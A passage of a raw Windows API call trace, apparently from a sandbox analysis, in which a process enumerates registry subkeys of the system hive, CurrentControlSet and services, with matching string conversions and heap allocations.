lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.289] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1928, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.289] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.289] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0232.289] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.289] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a00, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.290] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.290] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.290] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0232.290] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.291] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1928, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.291] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.291] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a00, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.291] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.291] RegOpenKeyExW (in: hKey=0x148, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0232.291] RegCloseKey (hKey=0x148) returned 0x0 [0232.291] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0232.291] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1928, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.292] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.292] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.292] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0232.292] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.293] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.293] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0232.293] RegCloseKey (hKey=0x150) returned 0x0 [0232.293] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.293] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.293] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1928, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0232.293] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.293] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a00, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1928, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a00, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.294] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.294] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.294] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0232.294] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1928, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0232.295] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0232.295] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0232.295] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0232.295] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", 